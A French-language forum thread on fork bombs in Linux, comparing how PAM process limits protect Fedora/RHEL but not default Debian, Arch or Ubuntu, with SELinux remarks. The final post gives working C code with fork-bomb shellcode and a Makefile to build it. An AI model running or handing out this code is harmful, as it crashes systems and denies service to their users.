Aller au contenu
Règlement du forum ×
IPTV et arnaques ×

Fork bombing, l'art de faire crasher Linux


Invité HAVOC

Messages recommandés

Effectivement, avec root le système ne répond plus. Utilisé avec un compte utilisateur courant le script est limité par la configuration /etc/security/limits.d/90-nproc.conf

 

Voici son contenu:

# Default limit for number of user's processes to prevent

# accidental fork bombs.

# See rhbz #432903 for reasoning.

 

* soft nproc 1024

 

Ce fichier est effectivement installé avec le paquet pam.

 

Merci.

Lien vers le commentaire
Partager sur d’autres sites

C'est vrai cette configuration ne protège pas contre un accès root. Mais root peut tout faire pratiquement, en particulier éditer les configurations.

 

De toute façon un accès avec les droits root s'appelle un exploit, c'est le piratage ultime. Il n'y a rien à faire si c'est le cas.

 

Je vous invite à vous renseigner sur les attaques du noyau avec les rootkit histoire de faire tomber le mythe de l'absence de virus sous linux. Ils sont encore plus dévastateurs que sous windows. Mais plus furtifs surtout car ils cultivent l'art de la dissimulation en détournant les appels systèmes ( invisibles avec ps, lsmod, ls, find. systèmes de fichiers proc,sysfs etc ...)

 

Voici la page Wikipédia dédiée aux rootkits.

Lien vers le commentaire
Partager sur d’autres sites

Effectivement, avec root le système ne répond plus. Utilisé avec un compte utilisateur courant le script est limité par la configuration /etc/security/limits.d/90-nproc.conf

 

Voici son contenu:

# Default limit for number of user's processes to prevent

# accidental fork bombs.

# See rhbz #432903 for reasoning.

 

* soft nproc 1024

 

Ce fichier est effectivement installé avec le paquet pam.

 

Merci.

 

Attention, ce n'est pas valable pour toutes les distributions, là tu es probablement sous Fedora ou RHEL, tu as donc SELinux et une politique de sécurité active de chez Red Hat.

 

Sous une Debian ou sous Archlinux par exemple, tu peux faire planter le système en étant un simple utilisateur car PAM est passif par défaut, les utilisateurs d'Ubuntu peuvent essayer pour voir ce que cela donne?

 

EDIT : Je viens de déduire à travers le commentaire de Mouradski que cela marche sous Ubuntu aussi ^^

Modifié par HAVOC
Lien vers le commentaire
Partager sur d’autres sites

Attention, ce n'est pas valable pour toutes les distributions, là tu es probablement sous Fedora ou RHEL, tu as donc SELinux et une politique de sécurité active de chez Red Hat.

 

Sous une Debian ou sous Archlinux par exemple, tu peux faire planter le système en étant un simple utilisateur car PAM est passif par défaut, les utilisateurs d'Ubuntu peuvent essayer pour voir ce que cela donne?

 

EDIT : Je viens de déduire à travers le commentaire de Mouradski que cela marche sous Ubuntu aussi ^^

 

Effectivement, la commande a fait planter Ubuntu :p

 

+++

Lien vers le commentaire
Partager sur d’autres sites

Voici les permissions pour la class process:

 

dyntransition execheap execmem execstack fork getattr getcap getpgid getsched getsession noatsecure ptrace rlimitinh setcap setcurrent setexec setfscreate setkeycreate setpgid setrlimit setsched setsockcreate share sigchld siginh sigkill signal signull sigstop transition

 

 

Il y a bien une permission fork mais l'approche est purement qualitative et non quantitative. En somme si un processus a le droit de faire un fork, il peut en faire autant qu'il en demande (du point de vue SELINUX).

 

Les utilisateurs standards sont restreints par les limites de la configuration de pam quelque soit leur context SELINUX (user_u:user_r:user_t:s0 ou unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023) et root provoque une panne même avec le contexte sysadm_u:sysadm_r:sysadm_t:s0-s0:c0.c1023.

 

Je sais qu'on peut définir des booléens dans la politique SELINUX mais je ne sais pas si on peut définir des compteurs.

 

 

Petit rappel intéressant sur les modèles de sécurité.

Modifié par djezzyman
Lien vers le commentaire
Partager sur d’autres sites

Voici les permissions pour la class process:

 

dyntransition execheap execmem execstack fork getattr getcap getpgid getsched getsession noatsecure ptrace rlimitinh setcap setcurrent setexec setfscreate setkeycreate setpgid setrlimit setsched setsockcreate share sigchld siginh sigkill signal signull sigstop transition

 

 

Il y a bien une permission fork mais l'approche est purement qualitative et non quantitative. En somme si un processus a le droit de faire un fork, il peut en faire autant qu'il en demande (du point de vue SELINUX).

 

Les utilisateurs standards sont restreints par les limites de la configuration de pam quelque soit leur context SELINUX (user_u:user_r:user_t:s0 ou unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023) et root provoque une panne même avec le contexte sysadm_u:sysadm_r:sysadm_t:s0-s0:c0.c1023.

 

Je sais qu'on peut définir des booléens dans la politique SELINUX mais je ne sais pas si on peut définir des compteurs.

 

 

Petit rappel intéressant sur les modèles de sécurité.

 

Excuse moi cher ami, tu n'as pas compris ce que je voulais dire dans mon précédent message et cela est de ma faute, je me suis mal exprimé et mes propos sont flous.

 

Je ne voulais pas dire que c'est SELinux qui protège ta Fedora, je voulais dire que Fedora (comme la RHEL d'ailleurs) implémente nativement différentes protections, il y a une préparation spéciale du noyau (je ne sais pas si c'est exactement les mêmes patchs qui sont appliqués pour RHEL et Fedora), une politique (j'entends : préconfiguration) de sécurité native dès l'installation par défaut...etc. Ils ont donc pris soin de configuration correctement PAM dès l'installation par défaut, choix qui n'a pas été fait dans de nombreuses autres distributions : Archlinux, Debian, Ubuntu...etc.

 

D'ailleurs, je pense que OpenSuSE doit aussi être protégée nativement via la configuration de PAM car comme Fedora elle est issue d'une distribution à caractère professionnelle et dont la sécurité est un des objectifs primordiaux. Notre ami Bidossessi pourra peut être faire le test sur son OpenSUSE.

 

Donc en claire, nous somme bien d'accord que la protection provient de PAM, d'ailleurs, chez moi je peux limiter même les processus d'un utilisateur ou d'un groupe mais si on est root on peut toujours ré-éditer la config de PAM pour pouvoir faire des bêtises.

Lien vers le commentaire
Partager sur d’autres sites

comme je l'ai indiqué plus tôt, la seule protection qu'offre les distributions à base de Redhat est le fichier de configuration /etc/security/limits.d/90-nproc.conf et il est installé avec le paquet pam. Il ne concerne que les utilisateurs standards car avec root le système ne répond plus (sous Fedora 11).

 

Son contenu est le suivant:

 

# Default limit for number of user's processes to prevent

# accidental fork bombs.

# See rhbz #432903 for reasoning.

 

* soft nproc 1024

 

Voilà, les utilisateurs standards ne peuvent lancer plus de 1024 processus. Je pense qu'il appartient aux packagers des différentes distributions d'intégrer ce petit fichier.

 

Peut-être est-ce l'occasion de prévenir les responsables du paquet pam de ARCH et Ubuntu ?

 

Il faut leurs envoyer un mail.

Modifié par djezzyman
Lien vers le commentaire
Partager sur d’autres sites

comme je l'ai indiqué plus tôt, la seule protection qu'offre les distributions à base de Redhat est le fichier de configuration /etc/security/limits.d/90-nproc.conf et il est installé avec le paquet pam.

 

Son contenu est le suivant:

 

# Default limit for number of user's processes to prevent

# accidental fork bombs.

# See rhbz #432903 for reasoning.

 

* soft nproc 1024

 

 

Voilà, les utilisateurs standards ne peuvent lancer plus de 1024 pocessus. Je pense qu'il appartient aux packagers des différentes distributions d'intégrer ce petit fichier.

 

Peut-être est-ce l'occasion de prévenir les responsables du paquet pam de ARCH et Ubuntu ?

 

Il faut leurs envoyer un mail.

 

Oui oui, c'est la config par défaut de PAM chez Fedora (et RHEL), il appartient aux concepteurs de chaque distribution de choisir la configuration par défaut de leurs paquets, ce n'est pas que le fichier manque, c'est que le fichier par défaut chez Archlinux, Debian et Ubuntu n'impose pas de limitation sur le nombre de processus pour les utilisateurs, il s'agit d'un choix comme un autre... on pourrait troller la dessus (même si je suis de ton avis, ça devrait être protégé par défaut).

 

Je vais essayé d'envoyer un mail au responsable du paquetage sous Archlinux mais ça m'étonnerait qu'il fasse un changement.

 

Voilà ^^ Au fait je suis curieux mais puis-je connaitre ta fonction ou formation si tu es étudiant ?

Lien vers le commentaire
Partager sur d’autres sites

  • 2 weeks later...

Il s'agit d'un shell code très cours (7 octects)

 

Avec un utilisateur standard le système répond encore mais très lentement (protection PAM active).

 

Pour reprendre la main, préparer une console root en mode non graphique (le vtswitch répond très vite) et la commande killall forkbomb avant de lancer l'exécutable.

 

Voici le code C (fichier forkbomb.c):

/* By Kris Katterjohn 8/29/2006

*

* 7 byte shellcode for a forkbomb

*

*

*

* section .text

*

* global _start

*

* _start:

* push byte 2

* pop eax

* int 0x80

* jmp short _start

*/

 

main()

{

char shellcode[] = "\x6a\x02\x58\xcd\x80\xeb\xf9";

 

(*(void (*)()) shellcode)();

}

 

// milw0rm.com [2006-11-17]

 

 

Voici le Makefile:

 

all: forkbomb

 

forkbomb: forkbomb.c

gcc -o forkbomb forkbomb.c

 

clean:

rm -f forkbomb

 

Désolé mais le forum fait disparaitre les tabulations (devant gcc et rm).

 

Voici la page d'origine.

 

Shell codes Linux/x86

 

 

Modifié par djezzyman
Lien vers le commentaire
Partager sur d’autres sites

Rejoindre la conversation

Vous pouvez publier maintenant et vous inscrire plus tard. Si vous avez un compte, connectez-vous maintenant pour publier avec votre compte.

Invité
Répondre à ce sujet…

×   Collé en tant que texte enrichi.   Coller en tant que texte brut à la place

  Seulement 75 émoticônes maximum sont autorisées.

×   Votre lien a été automatiquement intégré.   Afficher plutôt comme un lien

×   Votre contenu précédent a été rétabli.   Vider l’éditeur

×   Vous ne pouvez pas directement coller des images. Envoyez-les depuis votre ordinateur ou insérez-les depuis une URL.

  • Messages

    • السلام عليكم  هل من شرح لهذه الخاصية بارك الله فيكم
    • Salam @dzgeek123. Je compte bientôt prendre un ONT avec OMCI Manager, sûrement le LXT-010H-D (merci à @vezvez pour le conseil). Je m'intéresse aussi à un routeur qui gère bien le bufferbloat. Comme tu utilises un VSOL + GL.iNet Flint 2, j’imagine que tu l’as configuré avec SQM + CAKE ? Est-ce que tu pourrais faire ce test et partager ton résultat ? 👉 https://www.waveform.com/tools/bufferbloat Je suis surtout curieux de la latence en gaming, si tu as un retour d’expérience à ce niveau. Merci d’avance, ça m’aiderait beaucoup 
    • J'ai calculé le nb de guichets nécessaires pour la période estivale en Tunisie ; 5000 familles/j vont en tunisien. Si ça prend 10 min par famille d'échanger le bon contre des devises, il faudrait environ 90 guichets et les algériens sont connus mondialement pour être ultra efficace bien entendu   Même des randoms sur un forum peuvent estimer que ça pue et presque inapplicable 
    • Tu peux faire un bénéf si tu fais ça ; tu vas en Tunisie une seule journée, tu reviens en Algérie et tu revends ce que t'as. Après si le but est de faire baisser le cours de devise du taux non officiel, on devrait autoriser tous les algériens à acheter des devises s'ils le souhaitent, qu'ils partent ou non. c'est une mesure démago pour faire semblant de foutre quelque chose ; ils distribuent juste les dividendes du pétrole.  le vrai problème de ce truc, c'est plutôt l'application ; faut aller dans une banque classique donner des dinars en échange d'un bon, puis au niveau de l'aeroport etc... échanger le bon l'équivalent contre des devises. J'ai hâte de voir la gueule des bureaux à la frontière tunisienne quand y aura 200.000 algériens qui vont vouloir réclamer leur dû   on est bons pour 30 bonnes années de communisme hein, les boomix de l'indépendance ont une bonne espérance de vie machallah. Un libéral à la Milei ça arrivera certainement pas dans le Dzistan.
    • Je ne suis absolument pas contre des garde-fous, le soucis c'est les décisions qui n'ont ni tête ni queue comme celle interdisant aux citoyens de pouvoir faire le change si ils voyagent moins d'une semaine, ça n'a aucun sens! ça veux dire que si un algérien décide de prendre 6 jours de vacances en Espagne, il n'ouvre pas droit au change ? Pareil pour la décision de faire appel au pénal pour une histoire de change de moins de 750 euros.. c'est RIDICULE. A croire que c'est une subvention.. c'est DU CHANGE, on échange de l'argent contre de l'argent. J'aime reconnaitre les choses quand elles sont bien faites, mais la c'est juste ridicule. Il faut vraiment régler cette histoire de devises une bonne fois pour toute.
×
×
  • Créer...